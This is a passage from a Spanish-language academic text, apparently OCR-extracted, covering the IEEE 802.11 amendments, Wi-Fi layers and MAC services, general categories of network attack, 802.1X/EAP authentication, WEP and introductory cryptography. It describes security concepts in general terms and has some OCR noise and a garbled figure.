extension de la capa fisica (PHY). Incorpora las técnicas de modulacion OFDM
y CCK, ademas de una nueva tecnologia llamada Codificaciéon Binaria
Convolucional de Paquetes (PBCC, Paket Binary Convolutional Coding) que
brinda tasas de enlace mas altas. Cuando un dispositivo 802.11b entra en un
punto de acceso 802.11g, todas las conexiones bajan su velocidad para
adaptarse al nuevo dispositivo. Tiene casi las mismas ventajas y desventajas
que el 802.11b, ademas de tener las siguientes ventajas: tiene las mejores
caracteristicas de los dos estandares anteriores (la tasa de transferencia y la
disponibilidad mundial). Tiene una compatibilidad con los estandares

anteriormente utilizados. Entre sus desventajas estan que tiene un ndamero
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restringido de canales de transmision, y que aun no ha sido totalmente
adoptado por los desarrolladores de productos inalambricos.

1.2.2.5 Estandar 802.11c

Es un estandar que especifica las caracteristicas que debe tener un
punto de acceso para poder funcionar como un puente (bridge) al tener

multiples puntos de acceso (ESS).

Esta definido a nivel de la capa MAC. Aunque este estandar ya se
completd, no tiene una gran importancia para la implementacion de las redes,

ya que los dispositivos ya lo tienen incorporado.

1.2.2.6 Estandar 802.11d

Especifica los requerimientos necesarios para la utilizaciéon del estandar
802.11 en diferentes paises. Trabaja sobre la capa fisica. La importancia de
este estandar es debido a que en cada pais las frecuencias se utilizan de
diferente forma y para diferentes servicios. Se pretende tener un estandar para
gue el 802.11 pueda ser utilizado sobre diferentes dominios reguladores a nivel

mundial.

1.2.2.7 Estandar 802.11e
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Este protocolo es una extension sobre el estandar 802.11 que introduce
el concepto de Calidad de Servicio (QoS, Quality of Service). Este concepto se
refiere a la transmision de audio y video. Mejora las capacidades de los
estandares 802.11a, b y g, ademés de asegurar una compatibilidad con los
productos existentes. Trabaja sobre la capa MAC, para poder reconocer

requerimientos especificos y asi priorizar el envio de los flujos de audio y video.

Debido a que esta definido sobre la capa MAC, ser& independiente de

cada implementacion y serd compatible con los productos existentes.

1.2.2.8 Estandar 802.11f

Cuando se desarrolld el estdndar 802.11 fueron omitidas algunas
caracteristicas para brindar una mayor flexibilidad sobre el estdndar. Una de las
caracteristicas no definidas es la que especifica el grado de interoperabilidad de
los puntos de acceso de distintos fabricantes. Este estdndar provee la
informacion necesaria para que los AP de diferentes desarrolladores puedan

trabajar conjuntamente, en funciones como el roamming.

1.2.2.9 Estandar 802.11h
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Es una extension del estandar 802.11a y se basa en agregar algunas
caracteristicas a este estandar para que pueda ser utilizado en Europa, en
donde actualmente se utiliza HyperLAN. En este estandar se introducen dos
conceptos:

Seleccion de Frecuencia Dinamica (DFS, Dynamic Frecuency Selection)
que permite hacer cambios de frecuencias al encontrar otras redes operando

sobre la misma frecuencia, y

Control de la Energia de Transmision (TPC, Transmit Power Control) que
restringe el uso de energia por parte de los dispositivos. Esta definido como una
extension sobre la capa PHY del 802.11a.

1.2.2.10 Estandar 802.11i

Es un estandar que pretende mejorar las caracteristicas de seguridad
utilizadas por el 802.11, en el que se utiliza Privacidad Equivalente a la
Cableada (WEP, Wired Equivalent Privacy). La mejora se realiza a traves del
uso del Protocolo de Clave de Integridad Temporal (TKIP, Temporal Key
Integrity Protocol). Mejora la capa MAC del 802.11 en aspectos de seguridad.
Incluye el manejo y distribucion de claves (RADIUS), la encripcion (AES) vy la

autenticacion.

1.2.2.11 Estandar 802.11 IR

28



Es la especificacion del estandar 802.11 para el medio infrarrojo. Soporta
tasas de transferencia de 1 a 2 Mbps. No se encuentra difundido, y no es muy
utiizado, ya que no ofrece muchas ventajas en comparacion con los
estandares que utilizan radio frecuencia. La Unica ventaja significativa puede

ser la seguridad ofrecida por el medio sobre el que trabaja.

1.2.2.12 Estandar 802.11]

Es una extension del estandar 802.11 para las regulaciones japonesas.
Permite usar el 802.11a en los diferentes espectros asignados por el gobierno
japonés:

e 4.900 —5.000 GHz

e 5.000-5.100 GHz

e 5.150 -5.250 GHz

1.2.2.13 Estandar 802.11k

Pretende estandarizar la medicion de los recursos utilizados por los
estandares 802.11a, b y g. Sirve para realizar mediciones sobre las condiciones
de las redes y hacer diagndésticos para encontrar errores. Se estandariza la

recoleccion de datos, especificando que datos recolectar y como recolectarlos.
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1.2.2.14 Estandar 802.11m

Es un estandar para mejorar o0 corregir los estandares existentes,

especificando el mantenimiento de las redes inalambricas.

1.2.2.15 Estandar 802.11n

Es un estandar de la siguiente generacion. Brinda un rendimiento
elevado, ademas de hacer que el estandar 802.11 satisfaga mejor las
necesidades. Se obtiene una alta velocidad de transmision, que puede llegar a
los 100 Mbps.

1.3 Wi-Fi

Wi-Fi (Wireless Fidelity) es un sistema que establece la transmision de
paquetes de datos sobre redes computacionales que utiliza ondas de radio
propagadas en el aire, en lugar de cables. Wi-FI es un conjunto de estandares
para redes inalambricas basados en las especificaciones IEEE 802.11, creado
con el fin de ser aplicado en redes locales inalambricas, es frecuente que en la

actualidad también se utilice para acceder a Internet.?

%5 Redes WiFi. http://www.metrologicmexico.com/contenido/archivos/000088.shtml
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Wi-Fi es una marca de la Wi-Fi Alliance (anteriormente la Wireless
Ethernet Compatibility Alliance), esta es la organizacion comercial que realiza
las validaciones pertinentes para certificar que los equipos cumplen los
estandares IEEE 802.11x.

El problema principal que se trata de resolver con la normalizacion, es la
compatibilidad. No obstante, como se ha evidencia, existen distintos estandares
que definen distintos tipos de redes WLAN. Esta variedad no produce mas que
confusion para el consumidor y una falta de coordinacion por parte de los
fabricantes. Para tratar de resolver este problema, los principales vendedores
de soluciones inalambricas (3com, Airones, Intersil, Lucent Technologies, Nokia
y Symbol Technologies) crearon en 1999 la WECA (Wireless Ethernet
Compability Aliance, Alianza de Compatibilidad Ethernet Inaldmbrica). El
objetivo de esta asociacion fue crear una marca que permitiese fomentar mas

facilmente la tecnologia inalambrica y asegurase la compatibilidad de equipos.

La norma IEEE.802.11 fue disefiada para sustituir dos capas del modelo
OSI (capas fisicas y MAC) de la norma 802.3, estandar de las redes LAN
tradicionales que utilizan cables. Por tanto, solo existe una diferencia entre una
red Wi-Fi y una red Ethernet tradicional, dicha diferencia es, esencialmente, la
forma en que las terminales acceden a la red; el resto del proceso se realiza de
la misma forma para los dos. Por tanto una red inalambrica regida por el
estandar 802.11 (WLAN) es completamente compatible con todos los servicios

de las redes locales de cable 802.3 (Ethernet).?®

25 \Wi-Fi. http://es.wikipedia.org/wiki/Wi-Fi
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1.4 Modelo de capas 802.11

1.4.1 Capa fisica

La capa fisica del estandar 802.11 esta compuesta de dos subcapas:

e PLCP (Physical Layer Convergence Protocol), Se encarga de

codificacion y modulacion.

e PMD (Physical Medium Dependence), Esta capa crea la interfaz y

controla la comunicacion hacia la capa MAC (a través del SAP: Service

Access Point)

Este nivel lo conforman dos elementos principales:

¢ Radio. Recibe y genera la sefial.

e Antena. Amplia el alcance de la sefal del emisor y existe una gran

variedad de modelos y fabricantes.

Cuando se habla de transmision, surge la necesidad de definir los

siguientes conceptos:

Modulacion. Es el método que consiste en emplear una sefial
portadora y una moduladora (que da forma a la anterior). Cada una
de ellas puede ser analdgica o digital, con lo cual se obtienen cuatro

posibles combinaciones de portadora y moduladora (AA — AD — DAy

32



DD), con las cuales se conforman todas las técnicas de modulacion.
WiFi en la mayoria de los casos emplea la técnica QAM (Modulacién

en cuadratura de Fases con mas de un nivel de amplitud).

e Propagacion. Es la forma en la cual las sefales “van saliendo” al aire
(medio). Aqui es donde verdaderamente se aplican las técnicas de
DHSS y FHSS. SS (Spread Spectrum) es la técnica de emplear
muchas subportadoras de muy baja potencia con lo cual se “expande”

el espectro util.

e Codificacidén. Es la asociacion de bit a cada “muestra” que se

obtiene. WiFi en la mayoria de los casos emplea el cédigo Barker.?’

1.4.2 Capa de enlace

Tomando como referencia el modelo OSI, en la capa de enlace existen
dos subniveles que lo conforman (MAC: Medium Access Control y LLC: Logical
Link Control). Desde el punto de vista de 802.11, solo interesa hacer referencia

al subnivel MAC.%®

2 Seguridad en Redes 802.11x. http://www.atc.uniovi.es/inf_med_gijon/3iccp/2006/trabajos/wifi/
%8 Wi-Fi Técnico. http://www.slackar.com.ar/Sequridad WiFi_tecnico_v02.pdf
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1.4.2.1 Sub capa MAC

Esta sub capa controla el flujo de paquetes de comunicacion entre dos o
mas puntos de una red. Emplea CSMA/CA (Carrier Sense Multiple Access /
Collision avoidance). Y Sus funciones méas notables son:?°

e Exploracion: Envio de Beacons que incluyen los SSID: Service Set

identifiers, también llamados ESSID (Extended SSID), maximo 32

caracteres.

e Autenticacion: Proceso previo a la asociacion. Se explica en detalle

mas adelante.

Figura 3. Modelo de Capas 802.11

MAC
MAC SAP

Modulacion

— Control de Potencia

Ll =1 )

PHY

Fuente: Info@Citel, Boletin electrénico Nimero 21 - Marzo, 2006.

29 \Wi-Fi Técnico. http://www.slackar.com.ar/Seguridad WiFi tecnico v02.pdf
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1.5 Seguridad en WI-FI

Uno de los problemas mas serios que en la actualidad enfrenta la
tecnologia Wi-Fi, es la seguridad. Esto es porque su implementacion es simple
y un gran porcentaje de redes inaldmbricas son instaladas por administradores
de redes y/o sistemas sin considerar la seguridad como factor clave. Por tanto,
convierten dichas redes en abiertas, sin proteger la informacién que por ellas

circula.

Existen distintas alternativas para implementar la seguridad de estas
redes. Las mas comunes son la utilizacion de protocolos de encriptacion de
datos para los estdndares Wi-Fi como el WEP y WPA que se encargan de
codificar la informacién transmitida para proteger su confidencialidad,
proporcionados por los propios dispositivos inalambricos, o IPSEC (tuneles IP)
en el caso de las VPN y el conjunto de estandares IEEE 802.1X, que permite la

autenticacion y autorizacion de usuarios.

Actualmente existe el protocolo de seguridad Illamado WPA2
(implementacién del estandar 802.11i), que representa una mejora relativa a
WPA, es el mejor protocolo de seguridad para Wi-Fi en la actualidad. Para su
utilizacion en computadoras con escritorio con Windows® XP se requiere el
Service Pack 2 y una actualizacién adicional. También es necesario contar con
hardware (Access Point y estaciones o nodos) de punta, que soporte WPA2, ya
gue los puntos de acceso antiguos que solo cuentan con la implementacion de

alguno de los estandares 802.11 a,b o g, no lo soportan.®

30 Wi-Fi. http://es.wikipedia.org/wiki/Wi-Fi
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1.6 Tipos de ataque a una red

1.6.1 Ataques pasivos

En este tipo de ataques, el atacante de la red no altera la comunicacion,
sino que Unicamente la escucha, controla y monitoriza, en busqueda de
informacion que se esté transmitiendo. El propésito final es lograr la
intercepcion de datos y el andlisis del trafico de la red, siendo esta una técnica

capaz de registrar lo siguiente:

e Al leer los paquetes obtenidos al monitorear la red, se obtiene el origen y

el destinatario del paquete.

e Al controlar el volumen del trafico que se genera entre dos equipos
monitorizados de la red, es posible obtener informaciéon usual de

actividad o inactividad.

e Los periodos de actividad se pueden detectar al controlar el horario
habitual en el que se genera intercambio de datos entre equipos

monitorizados.

Debido a que este tipo de ataques no generan ninguna alteracién en los
datos transmitidos, son muy dificiles de detectar. Sin embargo, este tipo de
ataque pueden evitarse al cifrar la informacién, o por otros mecanismos,

reduciendo sus probabilidades de éxito a cifras casi nulas.
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1.6.2 Ataques activos

Los ataques activos tienen como implicacion algun tipo de alteracion al
flujo de datos transmitido o la emulacién de un flujo con datos falsos. Los

ataques activos pueden subdividirse en cuatro categorias.

1.6.2.1 Suplantacion de identidad

En este ataque, el intruso de la red se hace pasar por un equipo distinto.
Generalmente, se combina con alguna de las otras formas de ataque activo.
Por ejemplo, alguna secuencia de autenticacion se puede capturar y ser
repetida, concediéndole a un equipo no autorizado, el acceso a una gama de
recursos privilegiados, al suplantar al verdadero equipo que posee dichos
privilegios.

1.6.2.2 Re-actuacion

Se da a menudo cuando uno o varios mensajes legitimos son capturados
y repetidos en la red, produciendo un efecto de repeticion no deseado, como

por ejemplo depositar la misma cantidad monetaria varias veces en una cuenta
dada.
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1.6.2.3 Modificacién de mensajes

Esto sucede cuando una seccion del mensaje legitimo es alterada por

terceros, o dichos mensajes legitimos son retardos o reordenados en su

transmision, con el fin de producir un efecto no autorizado
mensaje que contenga una llamada a un
“‘depositar_Dinero(CuentaA)’ podria ser alterado

“depositar_Dinero(CuentaB)™.

1.6.2.4 Degradacion fraudulenta del servicio

. Por ejemplo, un
procedimiento

para decir

Este ataque imposibilita o prohibe la utilizacion normal de los recursos

informaticos y de telecomunicaciones. Por ejemplo, algun atacante filtrado

podria descartar todos los mensajes que estuvieran destinados a un equipo

especifico y el servicio de comunicaciones de la red podria sufrir interrupciones,

al saturarla con mensajes falsos.

1.7 Servicios de seguridad para redes

Debido a las amenazas listadas anteriormente y con el fin de poder

enfrentarlas y prevenirlas, se especifican una lista de servicios que garantizan la

proteccion de los sistemas que tratan y transmiten la informacion.
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Los servicios en mencion utilizan una o varias implementaciones para
garantizar la seguridad. Los servicios se pueden clasificar de la siguiente

manera:

1.7.1 Confidencialidad

Este servicio requiere que la informacion sea accesible Unicamente por
los equipos autorizados. La confidencialidad de datos se puede aplicar a la
totalidad de datos intercambiados entre equipos autorizados, como también a
s6lo segmentos seleccionados de dichos datos, utilizando técnicas como por

ejemplo: el cifrado.

‘La confidencialidad de flujo de trafico protege la identidad del
origen y destino(s) del mensaje, por ejemplo enviando los datos confidenciales
a muchos destinos ademas del verdadero, asi como el volumen y el momento
de trafico intercambiado, por ejemplo produciendo una cantidad de trafico
constante al afadir trafico errébneo al significativo, de forma que sean
indistinguibles para un intruso. La desventaja de estos métodos es que
incrementan drasticamente el volumen de trafico intercambiado, repercutiendo

negativamente en la disponibilidad del ancho de banda bajo demanda”.**

% Siles Pelaez, 2002.
http://zonacruda.iespana.es/zonacruda/seguridad _informatica/seguridad01.htm
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1.7.2 Autenticacién

Este servicio persigue que el origen de la comunicacion sea

correctamente identificada, dando completa seguridad que no es un nodo falso.

Existen dos tipos de autenticacion:

e De entidad, asegura la identidad de las estaciones participantes
en la comunicacion establecida, dicha seguridad puede ser
implementada por una larga lista de procedimientos, por ejemplo
la biométrica (identificacion de huellas dactilares, iris, etc.), tarjetas

con banda magnética, contrasefias o passwords, entre otros.

e De origen de informacién, mediante el cual se verifica que una
cierta informacion se origina de alguna identidad confiable, siendo

la firma digital la implementacion mas generalizada.

1.7.3 Integridad

Este servicio garantiza que la informacion pueda modificarse unicamente
por los nodos autorizados. Dichas modificaciones abarcan la escritura, cambio,
borrado, creacién y reactuacion de cualquiera de los mensajes en la

transmision.

La integridad de los datos brinda la seguridad que los datos recibidos en

la transmision no hayan sido modificados de forma alguna, por otro lado, la
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integridad de secuencia de datos brinda la seguridad que la secuencia en los
blogues o unidades de datos de los mensajes recibidos, no hayan sido

alterados y que no existe repeticion o perdida.

1.7.4 No repudio

El servicio de no repudio protege a un usuario ante una situacién de que
otro usuario niegue que se realizd la comunicacion después de transmitida. La
implementacion de la proteccion se lleva a cabo mediante la utilizacion de una
coleccion de evidencias irrefutables que terminen en la resolucién de cualquier

disputa.

El servicio de no repudio de origen brinda proteccion al receptor ante una
posible negacion de envio de mensaje por parte del emisor, mientras que el no
repudio de recepcién brinda proteccién al emisor ante la situacién que el
receptor niegue haber recibido el mensaje. En la actualidad, las firmas digitales

son el mecanismo mas empleado para este objetivo.

1.7.5 Control de acceso

El servicio de control de acceso, establece que el acceso a los recursos
(ya capacidad para calculos, nodos de comunicaciones, equipos fisicos, o
incluso la misma informacién, etc.) se lleve a cabo de una forma controlada y
limitada por parte del sistema destino. Este tipo de control puede

implementarse utilizando contrasefias o llaves de hardware, por ejemplo. De tal
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forma que al implementar correctamente este servicio se asegura proteccion

frente a usos no autorizados o la manipulacion de informacion o equipos.

1.7.6 Disponibilidad

Este servicio trata de garantizar que los recursos del sistema informatico
en cuestion, se encuentren en estado de disponibilidad para los equipos

autorizados, cada vez que los necesiten.

1.8 Servicios de seguridad pararedes inaldmbricas

Los servicios de seguridad descritos anteriormente, para redes de area
local por medio de cable, son aplicados también en las redes inalambricas de

area local. Dichos servicios seran resumidos en esta seccion.

1.8.1 Servicios de la capa MAC

Las redes inalambricas de area local bajo el estandar IEEE802.11 estan
conformadas por terminales (Al) y puntos de acceso (AP) y es correcto llamar a
ambos estaciones, aunque algunos textos y aplicaciones llaman a los

terminales (clientes) como estaciones exclusivamente.
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La capa MAC (nétese que la capa MAC no tiene absolutamente nada
que ver con la direccibn MAC de un equipo) define la forma en que las
estaciones pueden acceder al medio (aire) lo que se llama servicios de
estaciones. De la misma forma, define como los puntos de acceso gestionan la

comunicacién mediante lo que llama servicios de distribucién.

1.8.2 Servicios de Estacion de la capa MAC

Estos servicios se encargan de establecer y garantizar la conectividad
entre dos equipos dentro de la misma red de area local. En esta seccion se

resumiran sus servicios y funciones.

1.8.2.1 Autentificacion

La autentificacion realiza una comprobacion de identidad de una estacion
determinada y concede autorizacion para la asociacion. En una red cableada
tradicional una terminal se identifica como parte de una red mediante el hecho

de estar interconectado de manera fisica a dicha red.

Pero, en una red inalambrica no existe interconexion fisica, por tanto,
para cerciorarse si una terminal determinada forma o no parte de alguna red, es
necesario comprobar su identidad previo a autorizar que se asocie con todo el

segmento de la red.

%2 Redes 802.11. http://hackpr.net/definicioneswifi.php
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1.8.2.2 Desautentificacion

Este servicio cancela una conexion existente y previamente autentificada.
Esto se da de manera automatica cuando una estacion determinada intenta

desconectarse de la red inalambrica.

1.8.2.3 Privacidad

El servicio de privacidad, como su nombre lo indica, permite mantener
privacidad en la informacién, por lo que evita a los intrusos el acceso no
autorizado a los datos. En las redes inalambricas de &rea local, la privacidad es

garantizada gracias al uso de los cifrados de encriptacion WEP y WPA.

1.8.2.4 Entrega de datos

El servicio de entrega de datos brinda facilidad al proceso de
transferencia de datos entre dos estaciones determinadas. Asi mismo, hace
uso de los servicios descritos con anterioridad para garantizar su integridad y

confidencialidad.
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1.8.3 Servicios de distribucion de la capa MAC

Estos servicios describen directamente la forma en que las estaciones
acceden a los puntos de acceso y viceversa. En esta seccion se resumiran sus

servicios y funciones.

1.8.3.1 Asociacioén

En una red que en su infraestructura cuente con un punto de acceso,
antes gue un equipo se comunique con otro equipo o estacién, el equipo o
estacion debe ser previamente autentificado y asociado a dicho punto de

acceso.

El servicio de asociacion se traduce a la asignacién del terminal al punto
de acceso, responsabilizando al punto de acceso como responsable de la
distribucion de datos a, y desde, dicho terminal o estacion. En redes donde
existan dos 0 mas puntos de acceso, existe la limitacion de que cada nodo o

equipo solo puede estar asociado a un punto de acceso de forma simultanea.

1.8.3.2 Des-asociacion

Este servicio es el encargado de cancelar la asociacion establecida de un
equipo o estacion, que, ya no esta dentro del area de cobertura del punto de

acceso, que también implica la pérdida de la autenticacién, o debido a que el
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punto de acceso da como terminada la conexién. Esto es, porque alguna de los

dos extremos de la comunicacion es inalcanzable o ya no esta disponible.

1.8.3.3 Reasociacioén

Este servicio transfiere una accion de asociacion entre dos puntos de
acceso. Esto se ilustra mejor en una situacion donde un equipo o nodo se
desplaza del area de cobertura (alcance) de determinado punto de acceso a la

de otro distinto, por tanto, la asociacion dependera del nuevo punto de acceso.

También es incluida la rutina de des-asociacién y asociacion al propio
punto de acceso. Esto es que un punto de acceso desasocia a la estacion o
equipo Yy solicita de nuevo su asociacion como medida de seguridad o luego de

recuperarse de un error.

1.8.3.4 Distribucioén

El principio de operacion este servicio es bastante sencillo. Ya que
garantiza que los datos transmitidos de un terminal a otro lleguen correctamente

a su destino.
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1.8.3.5 Integracion

Este servicio brinda la funcionalidad de intercambiar datos entre una red
inalambrica bajo el estandar IEEE 802.11 y cualquier otra red (por ejemplo,

Internet, Ethernet, etc.).

1.8.4 Resumen comparativo de los servicios de la Capa MAC

Para finalizar con las definiciones de los servicios provistos por la capa
MAC para redes inalambricas de area local, mencionaremos que los puntos de
acceso (AP) utilizan los servicios de estaciones y también los servicios de
distribucion, mientras que las terminales o estaciones Unicamente hacen uso de

los servicios de estaciones.
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Tabla Il. Servicios provistos por la capa MAC

Servicio MAC

Definicion

Tipo de estacion

Autentificaciéon

Verifica y valida la identidad de una

estacion para autorizar su

Terminales y puntos de acceso

asociacion.

Desautentificacion Cancela (termina) una | Terminales y puntos de acceso
autentificacion previamente
establecida.

Asociacion

Asigna el terminal al punto de

acceso.

Puntos de acceso

Desasociacion

Cancela (termina) una asociacién

existente.

Puntos de acceso

Reasociacion

Transfiere una asociacién entre

puntos de acceso 0 a uno mismo.

Puntos de acceso

Privacidad Evita el acceso no autorizado a los | Terminales y puntos de acceso
datos mediante el uso de cifrados
WEP y WPA.

Distribucién Asegura la transferencia de datos | Puntos de acceso

entre estaciones de distintos puntos
de acceso.

Entrega de datos

Facilita la transferencia de datos

entre estaciones.

Terminales y puntos de acceso

Integracion

Facilita la transferencia de datos
entre redes WI-FI y no WI-FI.

Puntos de acceso
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1.9 Protocolo de autentificaciéon IEEE 802.1X

Este protocolo también es conocido como Port Based Network Access
Control, la implementacion original fue para redes cableadas. Este protocolo
incluye la implementacién de mecanismos de autenticacidén, autorizacion vy
distribucion de claves. Asi mismo contiene un control de acceso de equipos
gue accedan a la red. La arquitectura de este protocolo estd compuesta por tres

entidades funcionales:*

e El suplicante (equipo que intenta unirse a la red).

e El autenticador (encargado de conceder de acceso. En las WLAN es el

AP guien cumple esta funcion).

e El servidor de autenticacién (que toma las decisiones de autorizacién).

1.9.1 PAE - Entidad de acceso a Puertos

PAE Port Access Entity por sus siglas en inglés, es la entidad de acceso
a puertos. Cada puerto fisico (o virtual en las WLAN) estd compuesto de dos
puertos légicos, la PAE de autenticacion y la PAE de servicio. En el caso de la
primera, siempre esta a la escucha y abierta, permitiendo el paso a procesos de
autenticacion. En el caso de la segunda, Unicamente sera abierta cuando se
haya efectuado una autenticacion exitosa y por un tiempo limitado (por defecto
3600 segundos).

3 WPA. http://www.hsc-labs.com/ressources/articles/hakin9 wifi/hakin9 wifi ES.pdf
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Pero, finalmente quien otorga el permiso para el acceso es por lo
general una tercera entidad, llamada servidor de autenticacion. Esta funcion la
puede cumplir un servidor RADIUS dedicado, en el caso de soluciones robustas
y que requieran mayor seguridad, o puede ser un proceso ejecutandose en el
punto de acceso, en el caso de las redes domésticas. La siguiente ilustra el

modo de comunicacion entre estas entidades.

Figura 4. Modelo de IEEE 802.1X segun la especificacion IEEE 802.1X

———————— |——————————————————- e e e |

| Sistema . | Sistema Autenticador I, Servidor de Sistema
I Suplicante | : I Autenticador 1
. | ;| Servicios ofrecidos LI I
! | 1| por Sistema I | Servidor de |
:|PAE&plmmu||, Autenticador | PAE Autenticador H——pﬁutunﬁmun !
| A L A o :
I ' ! I
I . —Puario Mo il ! |
. : 1 Autorizado AN :
I ! ¥ ]! I
I | ! A | ! 1
o oo o ) ______ gl _|
— Intercambios de Prolocolo
Bevados en protocolo
de nivel superior
Y L J
( ) LAN

Fuente: Revista Hackin9 Magazine No. 2006-01

El nuevo estandar 802.11i presenta ligeros cambios frente al robo de
identidades en relacion a su predecesor IEEE 802.1X. Se ha implementado una
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autenticacion de mensajes para garantizar que ambos, el suplicante y el
autenticador, activan la encriptacion de datos con claves secretas previo al

acceso a la red.

Ambos, suplicante y autenticador establecen comunicacion haciendo uso
de un protocolo basado en EAP. Debido a que el autenticador Unicamente envia
mensajes al servidor de autenticacion, se podria decir que tiene un rol pasivo.
EAP es wuna implementacion para transportar distintos métodos de
autenticacion, permitiendo Unicamente un namero definido de mensajes, siendo

ellos:

¢ Request (mensaje de solicitud)

e Response (mensaje de respuesta)

e Success (mensaje de solicitud exitosa o aprobada)

e Failure (mensaje de fallo)

Existen otros mensajes intermedios, pero no se mencionan debido a que

son propios de cada implementacion de EAP.

1.10 Conexion ala Red Inalambrica

Previo a cualquier intento de conexiébn a una WLAN, la entidad o
dispositivo debe conocer el SSID (Service Set ID), ya que este cumple la

funcién de identificador de la red. El estandar 802.11 establece que este
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identificador debe ser retransmitido en difusién (broadcast) cada cierto intervalo
de tiempo, para que de esta forma se anuncie la red. Esto permite que los
equipos se conecten de manera muy sencilla, pero también permitira que

cualquier equipo detecte la red.

La mayoria de fabricantes, nombran por defecto las redes de sus
dispositivos con el nombre de la marca, lo que permite a cualquier equipo
facilmente saber el nombre de la red y el equipo utlizado para su
implementacion. Una primera medida de seguridad consiste en cambiar este
nombre por uno que no se relacione con la red u ocultarlo para que no sea

detectado.

1.10.1 Autentificacion de la conexiéon

Una vez que se esté conectado a la red, es decir, el proceso de conexién
haya sido exitoso, los dispositivos deben autentificarse con el punto de acceso
para poder utilizar la red. Esto aplica en el caso de una red inalambrica como

también para las otras redes, si existieran.
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1.10.2 Tipos de autentificacion

1.10.2.1 Sistema abierto (OSA)

OSA, Open System Authentication por sus siglas en inglés, fue el
protocolo de autenticacion por defecto para 802.11b. Asi como lo indica su
nombre, este método es libre y autentica a cualquier estacion que solicite

autenticacion.

Es importante mencionar que la seguridad de este proceso de
autenticacion es nula, ya que las tramas son enviadas en texto plano aunque

esté activado algun cifrado en la red, como WEP.

1.10.2.2 Autentificacién por MAC

En este método, el punto de acceso comprueba la direccion MAC de la
estacion solicitante, antes de conceder el acceso a ella. Las direcciones MAC
admitidas pueden ser indicadas en el punto de acceso como en un ACS (lista
de control de acceso). Sin embargo este método no es suficiente para
asegurar una red, ya que algun atacante podria capturar la direcciébn de un

cliente legitimo y clonarla.
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1.10.2.3 Autentificacién EAP

EAP Extensible Access Protocol por sus siglas en inglés o protocolo
extensible de autentificacion, es un protocolo utilizado para adaptar a las redes
inalambricas protocolos ya establecidos y otros nuevos. La autentificacion por
EAP implementa dos cifrados WEP que los equipos utilizan como claves de
sesion que y que son acordados en la autentificacién y que cambia cada cierto

tiempo conforme sea condo en el punto de acceso.

De los dos cifrados WEP implementados, uno es utilizado para el
broadcast o anuncio de la red en el punto de acceso, Yy otro se implementa en
la comunicacion con cada cliente, de tal forma que los clientes no se escuchen

entre si.

1.10.2.4 EAP-MD5

Como se explico anteriormente, la implementacion de EAP permite la
autentificacion por medio de un intercambio de claves cifradas por MD5. El
autentificador puede ser la direccion MAC o un nombre de usuario y contraseia
como se acostumbra en la mayoria de accesos a sistemas informaticos. Linux y

Windows XP pueden asociarse mediante este método.
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1.10.2.5 EAP-TLS

En este método, la autentificacion se da de forma mutua haciendo uso de
certificados, por lo que ambas partes deberdn comprobar su identidad. Esta
implementacion se da en el punto de acceso de donde partirdn las conexiones.
De esta forma, la red puede extenderse de forma sencilla, manteniendo esta
condicion sin otro requerimiento que la asociacion correcta de los puntos de

acceso repetidores.

1.10.2.6 PEAP

Este método es un estandar del IETF (Grupo de Trabajo de Tecnologia
de Internet) fundamentado en la utilizacién de una contrasefia secreta. Para
esta implementacién es necesario un certificado en el servidor de autenticacion.
Dicho certificado es enviado al cliente, quien genera una clave de cifrado
maestra y la envia de vuelta cifrada con la clave publica del servidor de
autenticacion. Cuando la clave maestra es conocida por ambos, se establece
un tanel entre ellos realizando la autenticacion del cliente a través de una

contrasefa secreta.

1.10.3 Privacidad

La privacidad de redes inalambricas bajo el estandar 802.11 es

implementada, a traves de WEP (Wired Equivalent Privacy) o privacidad
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equivalente al cableado, el sistema WEP encripta los paquetes de datos en
texto, haciendo uso del algoritmo RC4, todo previo a la transmision de datos.

Todo paquete es encriptado con claves distintas, dicha clave se compone
del campo IV o vector de inicializacion que es enviado en texto claro en cada
paquete, y la clave compartida WEP. ElI campo IV tiene una longitud fija de 24
bits (habiendo entonces, 16,8 millones de combinaciones posibles para que un
paquete sea encriptado con la misma clave WEP), mientras que la longitud de
la clave WEP puede ser de 40 bits, en un cifrado de 64 bits. En un cifrado de
128 bits, la longitud del IV serfa de 24 y la de clave WEP 104.%

1.11 Criptografia

“La criptografia (del griego kryptos, "ocultar", y grafos, "escribir",
literalmente "escritura oculta”) es el arte o ciencia de cifrar y descifrar
informacion utilizando técnicas matematicas que hagan posible el intercambio
de mensajes de manera gque solo puedan ser leidos por las personas a quienes

van dirigidos.”®.

Al hablar de criptografia deben mencionarse dos temas importantes, la
criptologia, que estudia los métodos matematicos utilizados en el cifrado de la
informacion, y el criptoanalisis, que estudia las técnicas para de romper textos
gue hayan sido cifrados, con el fin de acceder a su informacion sin tener la

clave.

% WEP. http://support.mtu.ru/helps/safe/safe_fag.htm
% Criptografia. http://es.wikipedia.org/wiki/Criptografia
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La criptografia busca garantizar que la informacion enviada se mantenga
en secreto y solamente pueda ser comprendida por su destinatario, asi mismo
busca garantizar que la informacion enviada es autentica en doble sentido, es
decir que la identidad del remitente sea veridica y que el contenido del mensaje

enviado no haya sido modificado durante su envio.

1.11.1 Conceptos de la Criptografia

Hablando en términos de criptografia, la informacion que se cifrara, es
decir la que debe ser protegida, denomina texto en claro. El cifrado es el
proceso de convertir el texto en claro en informacion ilegible denominada texto

cifrado o criptograma.

Las dos técnicas basicas para cifrar informacién son la sustitucion (que
cambia el significado de elementos basicos del texto en claro (letras, nUmeros o
simbolos), y la transposicion (que altera el orden de los mismos).
Generalmente los métodos de cifrado actuales son combinaciones de estas dos

operaciones basicas.

El descifrado, que es el proceso inverso al cifrado, recupera el texto en

claro a partir del criptograma (texto cifrado) y la clave.*

La criptografia se divide en dos grandes grupos:

% Criptografia en Wi-Fi. http://www.foromsn.com/index2.php?Ver=Mensaje&Id=132377
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¢ De clave simétrica, que emplea algoritmos de una Unica clave tanto en el
proceso de cifrado como en el de descifrado, y son la base de los

algoritmos de la criptografia clasica.

e De clave asimétrica o clave publica y clave privada, que utilizan una
clave para cifrar mensajes y una clave distinta para descifrarlos, y son el

principio de las técnicas de criptografia actuales.

1.11.2 CRC - Control de redundancia ciclica

Es un método matematico que se emplea para detectar errores en la
transmision de datos. Estos cddigos estan basados en la aplicacion de un
polinomio generador G(X) de grado r, y en el razonamiento que indica posible
considerar como coeficientes de un polinomio de orden n-1, a un nimero n de

bits de datos.

Suponiendo los datos 10111, el polinomio generado seria:
X'+ %%+ xt+ xO
A esto, se le agregan r bits de redundancia para que el polinomio
resultante pueda ser divisible por el polinomio generador. Cuando el receptor

realice la verificacion sobre el polinomio recibido acerca de su divisibilidad por

G(X), declarara como fallida la transmision, si no lo es.
